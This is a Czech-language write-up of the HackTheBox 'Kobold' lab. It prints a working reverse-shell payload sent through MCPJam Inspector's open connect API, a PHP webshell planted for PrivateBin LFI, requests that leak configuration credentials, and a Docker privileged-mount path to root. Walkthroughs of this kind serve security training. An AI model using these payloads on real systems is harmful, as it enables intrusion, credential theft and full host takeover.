Zpět na domů

RCE v MCPJam Inspector: Rozbor HTB Kobold

HackTheBox Kobold demonstruje RCE v MCPJam Inspector přes otevřený API, chaining s LFI v PrivateBin Docker kontejneru a privesc credential reuse v Arcane dashboard. Rozbor zahrnuje nmap, ffuf, payloads a interní průzkum.

HTB Kobold: od MCP RCE do root přes Docker
Advertisement 728x90

RCE přes MCPJam Inspector v HackTheBox Kobold: kompletní průvodce

HackTheBox Kobold (Sezóna 10, Easy) demonstruje reálnou hrozbu od vystavených vývojářských nástrojů v AI/ML ekosystému. Hlavní vektor je RCE v MCPJam Inspector v1.4.2 bez autentizace (GHSA-232v-j27c-5pp6). Následný řetězec přes Docker volumes a opakované použití přihlašovacích údajů vede k root. Rozbor pro middle/senior devsecops.

Nmap odhalí porty 22 (SSH), 80/443 (nginx, kobold.htb), 3552 (Arcane dashboard). Klíčem je wildcard *.kobold.htb v SSL a subdoména mcp.kobold.htb s otevřeným MCPJam Inspector.

Průzkum a enumerace

Standardní nmap:

Google AdInline article slot
nmap -p- -sC -sV -oN recon/nmap/full.txt <Target IP>

| Port | Služba | Verze | Poznámky |

|------|--------|--------|---------|

| 22 | SSH | OpenSSH 9.6p1 | Bez CVE |

Google AdInline article slot

| 80 | HTTP | nginx 1.24.0 | Přesměrování na HTTPS |

| 443 | HTTPS | nginx 1.24.0 | kobold.htb |

| 3552 | HTTP | - | Arcane dashboard |

Google AdInline article slot

ffuf pro vhost:

ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
     -u https://kobold.htb -H "Host: FUZZ.kobold.htb" -k -fs 154

Nalezen mcp.kobold.htb — MCPJam Inspector v1.4.2. Plný přístup: Servers, Chat, App Builder bez přihlášení. Připojen Ollama.

Model Context Protocol (MCP) — protokol pro integraci AI modelů s externími nástroji. Inspector naslouchá na 0.0.0.0, API /api/mcp/connect přijímá serverConfig.command bez validace.

První průnik: RCE v MCPJam

Listener:

nc -lvnp 4444

Payload:

curl -k https://mcp.kobold.htb/api/mcp/connect \
  -H "Content-Type: application/json" \
  -d '{"serverConfig":{"command":"bash","args":["-c","bash -i >& /dev/tcp/<Your IP>/4444 0>&1"],"env":{}},"serverId":"pwn"}'

Shell jako ben (uid=1001, groups=ben,operator). Stabilizace:

python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z; stty raw -echo; fg
export TERM=xterm

User flag: /home/ben/user.txt.

Interní průzkum

id
# uid=1001(ben) gid=1001(ben) groups=1001(ben),37(operator)

cat /etc/group | grep docker
# docker:x:111:alice

Uživatelé se shellem: root, ben, alice. ben — operator, alice — docker.

ss -tlnp ukazuje localhost:8080 (PrivateBin Docker), 6274 (MCPJam). Nginx config odhaluje bin.kobold.htb → localhost:8080.

Skupina operator má r/w k /privatebin-data/ — sdílený Docker volume.

find / -group operator 2>/dev/null

LFI v PrivateBin přes volume

PrivateBin 2.0.2 (CVE-2025-64714, GHSA-g2j9-g8r5-rg82). LFI přes cookie template při templateselection = true.

  • Webshell v volume:
cat > /privatebin-data/data/pwn.php << 'EOF'
<?php system($_GET['cmd']); ?>
EOF
  • Provedení:
curl -k https://bin.kobold.htb/ \
  -b "template=../data/pwn" \
  -G --data-urlencode "cmd=id"
  • Únik conf.php:
curl -k https://bin.kobold.htb/ \
  -b "template=../data/pwn" \
  -G --data-urlencode "cmd=cat /srv/cfg/conf.php"

Přihlašovací údaje MySQL: username privatebin, heslo uniklo.

Privesc: opakované použití přihlašovacích údajů

Kontrolní seznam:

  • SSH (alice/ben/root + uniklé)
  • su alice/root
  • Arcane: arcane/arcane-admin + uniklé

Úspěch: arcane / <LEAKED_PASSWORD> v Arcane v1.13.0 na :3552.

V dashboardu plná kontrola Dockeru. Vytvoření kontejneru s privileged mount /host → root shell.

Co je důležité:

  • Vystavené MCP nástroje (GHSA-232v-j27c-5pp6) — nový RCE vektor v AI infrastruktuře
  • Sdílené Docker volumes + skupina operator = přístup k hostitelskému filesystému
  • Opakované použití přihlašovacích údajů: výchozí uživatelská jména + uniklá hesla
  • Řetězení LFI přes zapisovatelné volumes obchází izolaci kontejnerů
  • Vždy enumerujte wildcard subdomény a interní služby

— Editorial Team

Advertisement 728x90

Číst dál